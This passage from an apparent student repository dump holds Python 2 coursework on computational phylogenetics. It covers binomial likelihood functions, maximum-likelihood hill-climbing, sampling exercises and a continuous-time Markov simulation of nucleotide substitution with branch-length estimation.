inside the function 'bernou'. The\nfunction bernou calculates the probability of k successes in n Bernoulli trials\nwith probability p \n\"\"\"\n\ndef bernou(n,k,p):\n \"\"\"this function has 3 parameters: n, K and p. The objects were created in \n order to simplify the funtion, making it more readable. . We used \"\"\"\n a=binCoef2(n,k) \n b=pow(1-p,n-k) \n return a*(p**k)*b #This is the final equation (see theorem 3.3.5)\nbernou (5,2,0.4) #the double ** as a replacement to the function pow(x,y)\n\n#----------------------------------------------------------------------------#\n\n#Item 5\n\"\"\"\n(5) Now write a function to sample from an arbitrary discrete distribution. \nThis function should take two arguments. The first is a list of arbitrarily \nlabeled events and the second is a list of probabilities associated with these \nevents. Obviously, these two lists should be the same length.\n\"\"\"\n\"\"\"For this task, I used an existing function, rv_discrete, to simplify my\nfunction. The rv_discrete function was obtained through the scipy module.\n\"\"\"\ndef DiscrSample(x,p, sam_siz):\n test = stats.rv_discrete(name='test', values=(x, p))\n result = list(test.rvs(size=sam_siz))\n return result\n \n#Testing the function with x being a list of numbers from 0 to 5\nx = range(5)\n#p represents a list with the probability of each number to occur\np = [0.1, 0.3,0.2,0.2,0.1,0.1]\nDiscrSample(x,p,10)#10 is the number of times we'll run the test\n \n#----------------------------------------------------------------------------# \n \n# Item 6\n \n\"\"\"\n(6) For an alignment of 400 sites, with 200 sites of type 1 and 200 of\ntype 2, sample a new alignment (a new set of site pattern counts) with \nreplacement from the original using your function from (5). Print out the \ncounts of the two types.\"\"\"\n\n\ntypes = range(2)# the types 1 and 2 will be 0 and 1\nprob = [0.5,0.5]#0 and 1 have the same probability (50%)\nItem6 = list(DiscrSample(types,prob,400))#generate 400 outcomes\nprint Item6\ncountA = Item6.count(0)\nprint countA\ncountB = Item6.count(1)\nprint countB\n\n#----------------------------------------------------------------------------#\n\n#Item 7 and 8\n\n\"\"\"\n(7) Repeat (6) 100 times and store the results in a list.\n\n(8) Of those 100 trials, summarize how often you saw particular proportions \n of type 1 vs. type 2. \n\"\"\"\n## Setting the objects\nlista0=[]\nlista1=[]\nprop0=[]\n\ntypes = range(2)\nprob = [0.5,0.5]\n\n## for loops\nfor y in range (100):\n test = DiscrSample(types,prob,sam_siz=400)\n count0 = test.count(0)\n lista0.append(count0)\nprint lista0\n\nprop=[float(y) for y in lista0]\n\nprop1=[]\nfor d in prop:\n val = d/400\n prop1.append(val)\nprint prop1\n\n#histograms displaying the frequencies of each value in the two proportion lists\nplt.hist(lista0)\nplt.hist(prop1)\n\n\n#----------------------------------------------------------------------------#\n\n#Item 9\n\n\"\"\" (9) Calculate the probabilities of the proportions you saw in (8) \nusing the binomial probability mass function (PMF) from (4).\n\"\"\"\n\npmf_list=[]\nfor w in lista0:\n pmf= bernou(n=400,k=w,p=0.5)\n pmf_list.append(pmf)\nprint pmf_list\n\nplt.hist(pmf_list)\n " }, { "alpha_fraction": 0.6261762380599976, "alphanum_fraction": 0.6569717526435852, "avg_line_length": 34.984615325927734, "blob_id": "8f3c09165d36c86c2f1180a4c386c529c7023686", "content_id": "d614061a9b7835cd053dd708d3096a3bc1dc2caa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2338, "license_type": "no_license", "max_line_length": 83, "num_lines": 65, "path": "/exer2funct.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 29 11:46:40 2015\n\n@author: Marcola\n\"\"\"\n\nfrom scipy import stats\nfrom scipy.stats import rv_discrete\nfrom scipy.stats import binom\n\ndef fact(h1,h0):\n \"\"\"\n The main purpose of this function is to execute factorial calculations.\n It presents two arguments. The first one, 'h1' will be the integer that we\n intend to calculate its factorial. In the second argument, you need to place\n the number which you want the multiplication to stop. For instance, if you want\n the full factorial of the number 6, you will put the number 6 as the first\n argument of this function and the number 1 as the second argument: fact (6,1).\n If you want to multiply just 6*5*4, you can only change h0's value to 4 like\n this: fact(6,4).\n \"\"\"\n x = 1\n while (h1 > h0-1 or 0): #The 'while' loop executes a statement while it is true\n x = x * h1 # in these two idented formulas the factorial is executed by \n h1 = h1-1 # automatically replacing the values of 'h1' and 'x'\n return x # the final value of 'x' is the result of the factorial\n\ndef binCoef (n,k):\n \"\"\"\n This function represents the function 2a where all factorial are fully\n calculated. It has two arguments that represent the same arguments as the \n ones used in the Binomial Coefficient formula, named 'n'and 'k'. See chapter\n 01, item 1.4.13, for the formula.\n \"\"\"\n n1 = fact(n,1) #we called the previous created function 'fact' in order to\n k1 = fact(k,1) #reduce the number of lines we needed to write.\n c1 = fact (n-k,1)\n return n1/(c1*k1)\n\ndef binCoef2 (n2,k2):\n \"\"\"\n This function does exactly the same thing as 'bioCoef(n,k)', although in \n this new function the factorials aren't fully calculated. This saves a lot of\n time!!!\n \"\"\"\n f = 1\n minus = n2-k2\n while n2 > minus:\n f = f*n2\n n2 = n2 - 1\n k3 = fact(k2,1)\n return f/(k3)\n \ndef binomPMF(n,k,p):\n \"\"\"this function has 3 parameters: n, K and p. The objects were created in \n order to simplify the funtion, making it more readable. . We used \"\"\"\n a=binCoef2(n,k)\n b=pow(1-p,n-k)\n return a*(p**k)*b\n \ndef DiscrSample(x,p, sam_siz):\n test = stats.rv_discrete(name='test', values=(x, p))\n result = list(test.rvs(size=sam_siz))\n return result" }, { "alpha_fraction": 0.7271831035614014, "alphanum_fraction": 0.7436619997024536, "avg_line_length": 35.603092193603516, "blob_id": "a646bd9e08b5a8460934dd70f6521061bc1536c8", "content_id": "410b816a5997b0eca6a6088a0d03769fa6e007c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7100, "license_type": "no_license", "max_line_length": 215, "num_lines": 194, "path": "/Exercise_3.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 29 11:21:05 2015\n\n@author: Marcola\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nAn Introduction to Likelihood\n@author: jembrown\n\"\"\"\n\n\"\"\"\nThere are two primary ways to use probability models. Given what we know to be \ntrue about an experimental setup, we can make predictions about what we expect \nto see in an upcoming trial. For this purpose, probability functions are what \nwe need. If R is the outcome of an experiment (i.e., an event) and p is a \nparameter of the probability function defined for these experimental outcomes, \nwe can write these expectations or predictions as: P(R|p).\n\nThis conditional probability tells us what to expect about the outcomes of our \nexperiment, given knowledge of the underlying probability model. Thus, it is a \nprobability function of R given a value for p (and the model itself).\n\nHowever, we might also wish to ask what we can learn about p itself, given \noutcomes of trials that have already been observed. This is the purview of the \nlikelihood. Likelihoods are functions of parameters (or hypotheses, more \ngenerally) given some observations. The likelihood function of a parameter \nvalue is defined as: L(p;R) = P(R|p)\n\nNote that this is the same probability statement we saw above. However, in this\ncontext we are considering the outcome (R) to be fixed and we're interested in \nlearning about p. Note that the likelihood is sometimes written in several \ndifferent ways: L(p;R) or L(p) or L(p|R). P(R|p) gives a probability when R is \ndiscrete or a probability density when R is continuous. Since likelihoods are \nonly compared for some particular R, we do not need to worry about this \ndistinction. Technically speaking, likelihoods are just said to be proportional\nto P(R|p), with the constant of proportionality being arbitrary.\n\nThere are some very important distinctions between likelihoods and probabilities.\nFirst, likelihoods do NOT sum (or integrate) to 1 over all possible values of p.\nTherefore, the area under a likelihood curve is not meaningful, as it is for \nprobability.\nIt does not make sense to compare likelihoods across different R. For instance,\nsmaller numbers of observations generally produce higher values of P(R|p), \nbecause there are fewer total outcomes.\nLikelihood curves provide useful information about different possible values of\np. When we are interested in comparing discrete hypotheses instead of \ncontinuous parameters, the likelihood ratio is often used:\n\nL(H1;R) P(R|H1)\n------- = -------\nL(H2;R) P(R|H2)\n\nNow, let's try using likelihoods to learn about unknown aspects of the process \nthat's producing some data.\n\n---> Inferring p for a binomial distribution <---\nFirst, we'll start by trying to figure out the unknown probability of success \nassociated with a Binom(5,p) random variable. If you want to try this on your \nown later, the following code will perform draws from a binomial with 5 trials.\nYou can simply change the associated value of p to whatever you'd like. To make\nthe inference blind, have a friend set this value and perform the draws from \nthe Binomial for you, without revealing the value of p that they used.\n\"\"\"\nfrom exer2funct import *\nfrom scipy.stats import binom\nimport matplotlib.pyplot as plt\n\nn = 5\np = 0.5 # Change this and repeat\n\ndata = binom.rvs(n,p)\n\nprint data\n\n\"\"\"\nFor the in-class version of this exercise, I'm going to perform a manual draw \nfrom a binomial using colored marbles in a cup. We'll arbitrarily define dark \nmarbles as successes and light marbles as failures.\nRecord the outcomes here:\nDraw 1: D\nDraw 2: D\nDraw 3: D\nDraw 4: D\nDraw 5: W\nNumber of 'successes': 4\nNow record the observed number of succeses as in the data variable below.\n\"\"\"\n\ndata = 4 # Supply observed number of successes here.\nnumTrials = 5\n\n\n\"\"\"\nSince we are trying to learn about p, we define the likelihood function as;\nL(p;data) = P(data|p)\nIf data is a binomially distributed random variable [data ~ Binom(5,p)]\nP(data=k|p) = (5 choose k) * p^k * (1-p)^(n-k)\nSo, we need a function to calculate the binomial PMF. Luckily, you should have\njust written one and posted it to GitHub for your last exercise. Copy and paste \nyour binomial PMF code below. For now, I will refer to this function as binomPMF(). \n\"\"\"\n\ndef binomPMF(n,k,p): #formely called bernou\n \"\"\"this function has 3 parameters: n, K and p. The objects were created in \n order to simplify the funtion, making it more readable. . We used \"\"\"\n a=binCoef2(n,k)\n b=pow(1-p,n-k)\n return a*(p**k)*b\n\nfrom JMB_binomial import * # I've stored my function in the file JMB_binomial.py\nimport scipy\n\n\"\"\"\nNow we need to calculate likelihoods for a series of different values for p to compare likelihoods. There are an infinite number of possible values for p, so let's confine ourselves to steps of 0.05 between 0 and 1.\n\"\"\"\"\n# Set up a list with all relevant values of p\nrel_p = []\nfor i in range(0,105,5):\n x=i/100.0\n rel_p.append(x)\nprint rel_p\n\n# Calculate the likelihood scores for these values of p, in light of the data you've collected\nL_scores=[]\nfor p in rel_p:\n like=binomPMF(5,4,p)\n L_scores.append(like)\nprint L_scores\n\n# Find the maximum likelihood value of p (at least, the max in this set)\nmaximun=max(L_scores)\nprint maximun\n\n# What is the strength of evidence against the most extreme values of p (0 and 1)?\nSE_val_0 = maximun/L_scores[0]\nSE_val_1 = maximun/L_scores[-1]\n\n# Calculate the likelihood ratios comparing each value (in the numerator) to the max value (in the denominator)\nlike_ratios=[]\nfor y in L_scores:\n t=y/maximun\n like_ratios.append(t)\nprint like_ratios\n\nplt.scatter(rel_p,L_scores) # the maximum value of returned by the graph is 0.8. This reflects the 'p' of the maximum likelihood\n\n\"\"\"\nNow let's try this all again, but with more data. This time, we'll use 20 draws from our cup of marbles.\n\"\"\"\n\ndata = 12 # Supply observed number of successes here.\nnumTrials = 20\n\n\n# Calculate the likelihood scores for these values of p, in light of the data you've collected\nrel_p2 = []\nfor i in range(0,1001,1):\n x=i/1000.0\n rel_p2.append(x)\nprint rel_p2\n\nL_scores2=[]\nfor p in rel_p2:\n like1=binomPMF(numTrials,data,p)\n L_scores2.append(like1)\nprint L_scores2 #List with likelihood scores\n\n\n# Find the maximum likelihood value of p (at least, the max in this set)\nmaximun2=max(L_scores2)\nprint maximun2 # this is the maximum likelihood value inside the list 'L_scores2'\n\n\n# What is the strength of evidence against the most extreme values of p (0 and 1)?\nSE_val_2 = maximun/L_scores2[0]\nSE_val_3 = maximun/L_scores2[-1]\n\n\n# Calculate the likelihood ratios comparing each value (in the numerator) to the max value (in the denominator)\nlike_ratios2=[]\nfor zz in L_scores2:\n aa=zz/maximun2\n like_ratios2.append(aa)\nprint like_ratios2 #this is a list of likelihood ratios\n\nhist2 = dict(zip(rel_p2,L_scores2))\nprint hist2\n\nplt.scatter(rel_p2,L_scores2) # the maximum value of returned by the graph is 0.6. This reflects the 'p' of the maximum likelihood\n# When is the ratio small enough to reject some values of p?\n#0.05" }, { "alpha_fraction": 0.5970081686973572, "alphanum_fraction": 0.6319129467010498, "avg_line_length": 48.755638122558594, "blob_id": "76fe3effdf8fe8dd9d5a8ca8c97c6ca70a50104b", "content_id": "e5076717b6c809faa14e8b0eba5b39f82c3d36ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13236, "license_type": "no_license", "max_line_length": 207, "num_lines": 266, "path": "/CountMarkSimClass_BrchLenSim.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 10 20:51:59 2015\n\n@author: Marcola\n\"\"\"\n\n##Continuous time Markov Simulation\nimport scipy \nfrom numpy.random import uniform\nfrom math import log \nfrom math import exp\nfrom itertools import tee, islice, chain, izip\nimport operator\nimport functools\nfrom scipy import linalg\nimport numpy as np\n\n\n\nclass ContMarkSim(object):\n \n def __init__ (self,v=10,Q=[[-1.916,0.541,0.787,0.588],[0.148,-1.069,0.417,0.506],[0.286,0.170,-0.591,0.135],[0.525,0.236,0.594,-1.355]],waittimes=[],list4=[], states=[],TotalProbs=[],MargProb=[]):\n self.v=v # Ending Time, in this case I chose 10\n self.Q=Q # Q matrix, or Rates matrix\n # Tuple with my state space\n self.waittimes=waittimes##This will be the list with the waiting times\n self.list4=list4##This will be the list with the states (in numbers where 0=A,1=C,2=G and 3=T)\n self.states=states##This will give you the states as nucleotides.\n self.TotalProbs=TotalProbs\n self.MargProb=MargProb\n ##Defining the function that will make my simulation\n def MarkSim(self):\n statespace=[0,1,2,3]\n ##defining the function of discrete sample, to sort the events to change\n def discSamp(events,probs):\n ranNum = scipy.random.random()\n cumulProbs = []\n cumulProbs.extend([probs[0]])\n for t in range(1,len(probs)):\n cumulProbs.extend([probs[t]+cumulProbs[-1]])\n for t in range(0,len(probs)):\n if ranNum < cumulProbs[t]:\n return events[t]\n return None\n A = np.squeeze(np.asarray(self.Q))##this transforms my Q matrix in an array A\n StationaryProbs=linalg.expm(A*1000)##getting the matrix with stationary probability. \n i=discSamp(events=statespace,probs=StationaryProbs[1])##Sorting the first state\n E=0##Defining the starting point in the branch\n self.list4=[i]\n list6=[]\n list7=[]\n list10=[] \n M4=StationaryProbs[1][i] # This will give the respective stationary probability to sample the first state of my chain\n # this for loop will calculate the transition matrix for each state from the Q matrix\n for d in range(len(self.Q)): \n list11=[] \n for g in self.Q[d]:\n if g > 0: \n p=-(g/(self.Q[d][d]))\n else:\n p = 0\n list11.append(p)\n list10.append(list11)\n T= list10 # this is the transition matrix\n # this fucntion will be used to set two lists, one with the current sampled states, and another with the respective next states. This will be used to calculate the probabilities of each state change.\n def previous_and_next(some_iterable):\n prevs, items, nexts = tee(some_iterable, 3)\n prevs = chain([None], prevs)\n nexts = chain(islice(nexts, 1, 0), [0])\n return izip(prevs, items, nexts)\n while E < self.v: # this loop will occur while the sum of the waiting times does not reach the ending time\n list2=[] \n u1=uniform(low=0.0, high=1.0, size=None) # sorting an uniform value to give to the next equation\n Wtime=-(1/-(self.Q[i][i]))*log(u1) # calculating the waiting time, by assuming that lambda is equal to the -diagonal (-Qii) value\n self.waittimes.append(Wtime) # putting the waiting times in list 1\n E=sum(z for z in self.waittimes) # adding the waiting times to make the simulation stop when reaching the ending time\n for g in self.Q[i]:\n if g > 0: \n p=-(g/(self.Q[i][i])) # calculating the probabilities of the next events according to the current state. We divide the positive rates of the row, by the diagonal value\n else:\n p = 0\n list2.append(p) # puting the probabilities in a list\n for s in self.waittimes:\n exponPDF = -(self.Q[i][i]) * exp(- (-(self.Q[i][i]))*s) # this function calculates the exponential probability density function for each waiting time according to the current state\n list6.append(exponPDF) # this list keeps exponPDF values\n M1=functools.reduce(operator.mul, list6, 1) # this list has the multiplication of all exponPDF values\n i=discSamp(events=[0,1,2,3],probs=list2) # sampling the next state according to the current state\n self.list4.append(i) # appending the states in a list\n list67=[]\n list68=[]\n for previous, item, nxt in previous_and_next(self.list4):\n list67.append(item)##this list will keep the previous sampled nucleotide\n list68.append(nxt)##this list will keep the subsequent nucleotide\n for c,m in zip (list67,list68):##this loop will give the right values to transition matrix values\n if m != list68[-1]:\n statesprobs=T[c][m]##this will give the probabilities of going from the previous state to the next\n list7.append(statesprobs)##this will append the probabilities of each state in list7\n else:\n pass\n M2=functools.reduce(operator.mul, list7, 1)#this will multiply the probabilities of sampling each state\n MargProbs=linalg.expm(A*self.v)##this calculates the marginal probabilities\n finaltime=self.waittimes[-1]\n finalstate=self.list4[-1]\n cdffinaltime=1-(2.71826**(-(self.Q[finalstate][finalstate])*finaltime))##calculating the probability of last waiting time without a particular change in it.\n M3=1-cdffinaltime\n self.MargProb=MargProbs[self.list4[0]][self.list4[-1]]\n self.TotalProbs=M4*M1*M2*M3##this multiplies the probabilities for each waiting time and for the each nucleotide, in other words, the probability of all the events that occurred in my simulation\n self.states = [str(h) for h in self.list4]\n self.states = [z.replace('0', 'A') for z in self.states]## Converting the numbers to letters representing nucleotides\n self.states = [a.replace('1', 'C') for a in self.states]## Converting the numbers to letters representing nucleotides\n self.states = [u.replace('2', 'G') for u in self.states]## Converting the numbers to letters representing nucleotides\n self.states = [n.replace('3', 'T') for n in self.states]## Converting the numbers to letters representing nucleotides\n return self.states,self.waittimes,self.TotalProbs,self.MargProb##returning the states(substitutions) and waiting times until reaching an ending time\n\n\n\n##Giving a name to the object \nd= ContMarkSim()\n##Getting the results of the Continuous time Markov Simultaion\nprint d.MarkSim()\nprint d.states\nprint d.waittimes\nprint d.TotalProbs\nprint d.MargProb\n##Testing changes in the waiting time\npicles=ContMarkSim(v=200)\nprint picles.MarkSim()\nprint picles.states\nprint d.waittimes\nprint d.TotalProbs\nprint d.MargProb\n\n\n'''\n####trying to test a series of possible branch lengths to go from a nucleotide to another... I put this outside the method in order to think in a way of working with a character... \nQ=[[-1.916,0.541,0.787,0.588],[0.148,-1.069,0.417,0.506],[0.286,0.170,-0.591,0.135],[0.525,0.236,0.594,-1.355]] \nA = np.squeeze(np.asarray(Q))##transforming the Q matrix in an array \nLiks=[]##list for likelihoods \nfor y in range(100):##varying the branch length from 0 to 99\n MargProbsmatrix=linalg.expm(A*y)##getting the matrix with marginal probabilities\n probsmargAG_CT_AT_CG_TT_TG_AC_CC_TC=((MargProbsmatrix[0][2])*\n (MargProbsmatrix[1][3])*(MargProbsmatrix[0][3])*\n (MargProbsmatrix[1][2])*(MargProbsmatrix[3][3])*(MargProbsmatrix[3][2])*\n (MargProbsmatrix[0][1])*(MargProbsmatrix[1][1])*(MargProbsmatrix[3][1]))##calculating the probabilities of starting at one nucleotide and going to other for 4 sites\n Liks.append(probsmargAG_CT_AT_CG_TT_TG_AC_CC_TC) \nprint Liks\nLiks.index(max(Liks))##the best branch length (with maximum likelihood) is the biggest one (v=99) even when using 4 nucleotides change\n'''\n\n\n\ndef estBrlen (currBr,diff,thresh):\n\n upBr=currBr+diff\n downBr=currBr-diff \n\n sites=[[0,1,3,1,2,0],[1,2,1,3,2,3,0,2,0],[0,3,2,3,1],[1,0,2,1],[3,2,1,3],[2,1,2,3,1,2],[1,3,2,0,2,1],[2,3,1,0,2,0],[0,1,2,3,0,1]]##chains of nucleotide states\n\n Q=[[-1.916,0.541,0.787,0.588],[0.148,-1.069,0.417,0.506],[0.286,0.170,-0.591,0.135],[0.525,0.236,0.594,-1.355]] ##Q matrix\n\n A = np.squeeze(np.asarray(Q)) # Q matrix array\n\n listfirst=[]\n listlast=[] \n\n for y in sites:\n # getting the first and last values of each site\n first=y[0]\n last=y[-1]\n\n listfirst.append(first) # list with first values\n listlast.append(last) # List with last values\n\n\n # Defining empty lists to hold the likelihood values\n emptylist1=[] # list that will hold current Likelihood values\n emptylist2=[] # List that will hold values from up Likelihoods\n emptylist3=[] # List that will hold values from down Likelihoods\n \n\n MargProbsMatrixcurrLike=linalg.expm(A*currBr) # Marginal probability matrix for currBr\n\n for c,m in zip (listfirst,listlast): # matching first values with their respective last values\n currLikes=MargProbsMatrixcurrLike[c][m]##extracting the corresponding marginal probabilities values of the matrix\n emptylist1.append(currLikes)##putting the probabilities in a list\n currLike=reduce(lambda x, t: x*t,emptylist1) # multipying all the values in the list to get the total Likelihood for the current Branch length\n\n \n while (diff >= thresh): # Loop for to set a lower diff value every time so we can get a more precise value of branch lenght\n\n MargProbsmatrixupLike=linalg.expm(A*upBr) # doing the same for currBr + diff\n\n for c,m in zip (listfirst,listlast): # matching first values with their respective last values\n upLikes=MargProbsmatrixupLike[c][m]\n emptylist2.append(upLikes)\n upLike=reduce(lambda x, t: x*t,emptylist2) # multipying all the values in the list to get the total Likelihood for the up Branch length\n \n MargProbsmatrixdownLike=linalg.expm(A*downBr) # doing the same for currBr - diff \n \n for c,m in zip (listfirst,listlast): # matching first values with their respective last values\n downLikes=MargProbsmatrixdownLike[c][m]\n emptylist3.append(downLikes)\n downLike=reduce(lambda x, t: x*t,emptylist3) # multipying all the values in the list to get the total Likelihood for the down Branch length\n \n if (upLike > currLike):\n while (upLike > currLike): # looking for a possible better likelihood values for bigger Branch Lengths\n\n currBr=upBr\n emptylist1=[]\n emptylist2=[]\n \n \n MargProbsmatrixcurrLike=linalg.expm(A*currBr) \n\n for c,m in zip (listfirst,listlast):\n currLikes=MargProbsmatrixcurrLike[c][m]\n emptylist1.append(currLikes)\n currLike=reduce(lambda x, t: x*t,emptylist1) # multipying all the values in the list to get the total Likelihood for the current Branch length\n \n upBr=currBr+diff\n \n MargProbsmatrixupLike=linalg.expm(A*upBr)\n for c,m in zip (listfirst,listlast):\n upLikes=MargProbsmatrixupLike[c][m]\n emptylist2.append(upLikes)\n upLike=reduce(lambda x, t: x*t,emptylist2)\n \n elif (downLike > currLike): # looking for a possible better likelihood values for smaller Branch Lengths\n while (downLike > currLike):\n\n currBr=downBr \n emptylist1=[]\n emptylist3=[]\n\n MargProbsmatrixcurrLike=linalg.expm(A*currBr)\n for c,m in zip (listfirst,listlast):\n currLikes=MargProbsmatrixcurrLike[c][m]\n emptylist1.append(currLikes)\n currLike=reduce(lambda x, t: x*t,emptylist1)\n\n downBr=currBr-diff\n\n MargProbsmatrixdownLike=linalg.expm(A*downBr)\n for c,m in zip (listfirst,listlast):\n downLikes=MargProbsmatrixdownLike[c][m]\n emptylist3.append(downLikes)\n downLike=reduce(lambda x, t: x*t,emptylist3)\n\n diff *= 0.5 # Reduce diff by 1/2\n\n return currBr # Only return value once diff is below thresh\n\n \nimport time\n\n'''Function Working!!!'''\nestBrlen(currBr=0.3,diff=0.01,thresh=0.0001)\nestBrlen(currBr=1,diff=0.01,thresh=0.0001)\n\n\n# Checking how long does it take to find the Branch with the Max Likelihood associated\nstart=time.clock()\nestBrlen(currBr=5,diff=0.01,thresh=0.0000001)\nend=time.clock()\nprint end-start\n\n" }, { "alpha_fraction": 0.6854308247566223, "alphanum_fraction": 0.7109138369560242, "avg_line_length": 34.20588302612305, "blob_id": "9caf781bea3fc1343c8d26d5466d5ec4b61c71f3", "content_id": "9a6e53503460ffb5211251a12f657f9577e55c1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9575, "license_type": "no_license", "max_line_length": 188, "num_lines": 272, "path": "/Exercise_3b.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 01 18:03:17 2015\n\n@author: Marcola\n\"\"\"\n\n# **** CODE BELOW TO BE POSTED TO GITHUB BY THURSDAY, FEB. 5TH ****\n\n\n\"\"\"\nSometimes it will not be feasible or efficient to calculate the likelihoods for every\nvalue of a parameter in which we're interested. Also, that approach can lead to large\ngaps between relevant values of the parameter. Instead, we'd like to have a 'hill\nclimbing' function that starts with some arbitrary value of the parameter and finds\nvalues with progressively better likelihood scores. This is an ML optimization\nfunction. There has been a lot of work on the best way to do this. We're going to try\na fairly simple approach that should still work pretty well, as long as our likelihood \nsurface is unimodal (has just one peak). Our algorithm will be:\n(1) Calculate the likelihood for our starting parameter value (we'll call this pCurr)\n(2) Calculate likelihoods for the two parameter values above (pUp) and below (pDown)\nour current value by some amount (diff). So, pUp=pCurr+diff and pDown=pCurr-diff. To\nstart, set diff=0.1, although it would be nice to allow this initial value to be set\nas an argument of our optimization function.\n(3) If either pUp or pDown has a better likelihood than pCurr, change pCurr to this\nvalue. Then repeat (1)-(3) until pCurr has a higher likelihood than both pUp and\npDown.\n(4) Once L(pCurr) > L(pUp) and L(pCurr) > L(pDown), reduce diff by 1/2. Then repeat\n(1)-(3).\n(5) Repeat (1)-(4) until diff is less than some threshold (say, 0.001).\n(6) Return the final optimized parameter value.\nWrite a function that takes some starting p value and observed data (k,n) for a\nbinomial as its arguments and returns the ML value for p.\nTo write this function, you will probably want to use while loops. The structure of\nthese loops is\nwhile (someCondition):\n code line 1 inside loop\n code line 2 inside loop\n \nAs long as the condition remains True, the loop will continue executing. If the\ncondition isn't met (someCondition=False) when the loop is first encountered, the \ncode inside will never execute.\nIf you understand recursion, you can use it to save some lines in this code, but it's\nnot necessary to create a working function.\n\"\"\"\n\nfrom exer2funct import *\nfrom scipy import stats\nfrom scipy.stats import rv_discrete\nfrom scipy.stats import binom\nimport matplotlib.pyplot as plt\n\ndef binomPMF(n,k,p): #formely called bernou\n \"\"\"this function has 3 parameters: n, K and p. The objects were created in \n order to simplify the funtion, making it more readable\"\"\"\n a=binCoef2(n,k)\n b=pow(1-p,n-k)\n return a*(p**k)*b\n\ndata = 12\nnumTrials = 20\n \n# Write a function that finds the ML value of p for a binomial, given k and n.\n\ndef P_ml(numTrials,data,pCurr,diff=0.1): #pCurr is the first parameter and also the last, once it has to be replaced by a best value\n \"\"\"\n this function will return the p value associated with the max likelihood value \n \"\"\"\n pUp=pCurr+diff\n pDown=pCurr-diff \n L_pCurr=binomPMF(numTrials,data,pCurr) \n L_pUp=binomPMF(numTrials,data,pUp) \n L_pDown=binomPMF(numTrials,data,pDown)\n if (L_pCurr < L_pUp):\n while (L_pCurr < L_pUp):\n pCurr=pUp\n L_pCurr=binomPMF(numTrials,data,pCurr)\n pUp=pCurr+diff\n L_pUp=binomPMF(numTrials,data,pUp)\n return pCurr\n else:\n while (L_pCurr < L_pDown):\n pCurr=pDown \n L_pCurr=binomPMF(numTrials,data,pCurr)\n pDown=pCurr-diff\n L_pDown=binomPMF(numTrials,data,pDown)\n return pCurr\n \n \ntest=P_ml(20,12,0.9,0.0001)\nprint test\n\n\ndef ml_value (numTrials,data,pCurr,diff=0.1):\n \"\"\"This function will return the max likelihood value itself\"\"\"\n pUp=pCurr+diff\n pDown=pCurr-diff \n L_pCurr=binomPMF(numTrials,data,pCurr) \n L_pUp=binomPMF(numTrials,data,pUp) \n L_pDown=binomPMF(numTrials,data,pDown)\n if (L_pCurr < L_pUp):\n while (L_pCurr < L_pUp):\n pCurr=pUp\n L_pCurr=binomPMF(numTrials,data,pCurr)\n pUp=pCurr+diff\n L_pUp=binomPMF(numTrials,data,pUp)\n return L_pCurr\n else:\n while (L_pCurr < L_pDown):\n pCurr=pDown \n L_pCurr=binomPMF(numTrials,data,pCurr)\n pDown=pCurr-diff\n L_pDown=binomPMF(numTrials,data,pDown)\n return L_pCurr\n\n\n\"\"\"\nIn the exercise above, you tried to find an intuitive cutoff for likelihood ratio\nscores that would give you a reasonable interval in which to find the true value of \np. Now, we will empirically determine one way to construct such an interval. To do \nso, we will ask how far away from the true value of a parameter the ML estimate \nmight stray. Use this procedure: (1) start with a known value for p, (2) simulate\na bunch of datasets, (3) find ML parameter estimates for each simulation, and then \n(4) calculate the likelihood ratios comparing the true parameter values and the ML\nestimates. When you do this, you will be constructing a null distribution of\nlikelihood ratios that might be expected if the value of p you picked in (1)\nwas true. Note that the ML values for these replicates are very often greater than\nL(true value of P), because the ML value can only ever be >= L(true value). Once \nyou have this distribution, find the likelihood ratio cutoff you need to ensure \nthat the probability of seeing an LR score that big or greater is <= 5%. \n\"\"\"\n\n# Set a starting, true value for p\n\ntrueP = 0.3\n\n# Simulate 1,000 datasets of 200 trials from a binomial with this p\n\n\"\"\"\ndef DiscrSample(x,p, sam_siz):\n test = stats.rv_discrete(name='test', values=(x, p))\n result = list(test.rvs(size=sam_siz))\n return result\n\"\"\"\n\n# If you haven't already done so, you'll want to import the binom class from scipy:\n# from scipy.stats import binom\n# binom.rvs(n,p) will then produce a draw from the corresponding binomial.\n\nx=[0,1]\np=[0.7,0.3]\nsam_siz=200\nk_list1=[]\n\nfor y in range (1000):\n test = DiscrSample(x=[0,1],p=[0.7,0.3],sam_siz=200)\n count1 = test.count(1)\n k_list1.append(count1)\nprint k_list1 #list containing results of 1000 tests where the number of trials (sam_siz) in each test is 200 with p~0.3\n\n\n# Now find ML parameter estimates for each of these trials(tests)\nP_ml_list1=[]\nfor value in k_list1:\n q= P_ml(200,value,pCurr=0.5,diff=0.001) \n P_ml_list1.append(q)\nprint P_ml_list1 #list containing p values related to each number in 'k_list1'\n\nml_list1=[]\nfor value in k_list1:\n j=ml_value(200,value,pCurr=0.5,diff=0.001)\n ml_list1.append(j)\nprint ml_list1 #this list contains the ML for each test result\n\n\n# Calculate likelihood ratios comparing L(trueP) in the numerator to the maximum\n# likelihood (ML) in the denominator. Sort the results and find the value\n# corresponding to the 95th percentile.\n\nTrueP_Like_list=[]\nfor u in k_list1:\n r=binomPMF(200,u,0.3)\n TrueP_Like_list.append(r)\nprint TrueP_Like_list #list containing Likelihood values related to each value in k_list1, using the True P\n\nL_Rts = [float(b) / float(m) for b,m in zip(TrueP_Like_list, ml_list1)]# in this line I am dividing the TrueP ML list by the ML list. This will provide a list of ML ratios\nprint L_Rts\n\nimport numpy as np\nprint np.percentile(L_Rts,95) # this is the 95th percentile\nprint np.percentile(L_Rts,50) # this is the 50th percentile\nprint np.percentile(L_Rts,25) # this is the 25th percentile\n\n# Now, convert the likelihood ratios (LRs) to 